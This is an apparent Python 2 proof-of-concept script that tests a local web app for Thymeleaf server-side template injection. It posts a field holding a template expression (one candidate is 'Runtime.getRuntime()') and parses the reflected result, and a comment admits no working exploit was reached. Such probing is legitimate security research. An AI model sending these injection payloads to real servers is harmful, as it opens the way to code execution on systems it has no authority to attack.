import requests
import re
import HTMLParser

def sendPayload(payload_arg="me"):
    url = "http://127.0.0.1:5053/"
    result1 = requests.post(url,data={"name":payload_arg}).text
    return result1

code = "#ctx"
code = "#locale"
code = "application.size()"
code = "application.containsKey('foo')"
code = "#request.getRequestName()"
code = "#session.id"
code = "#execInfo.templateName"
code = "#execInfo.templateMode"
code = "#messages.listMsg(messageKeyList)"
code = "#conversions.convert(1519143196021, 'dd/MMM/yyyy HH:mm')"
code = "Runtime.getRuntime()"
code = "1+1"
payload ='''<p th:text="${%s}"></p>'''%code

#TODO I have not been able to create a valid exploit
#usefull information can be obtained in :
#http://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html
#--
#using #ctx and some objects and variable maps are always available to be invoked.
#class conversion:
#http://www.thymeleaf.org/apidocs/thymeleaf/3.0.9.RELEASE/org/thymeleaf/expression/Conversions.html


resutl = sendPayload(payload)
try:
    regex = r"<p>(.*)</p>"
    matches = re.findall(regex,resutl)
    print HTMLParser.HTMLParser().unescape(matches[0])
except:
    print "RESULT ERROR:\n"+resutl







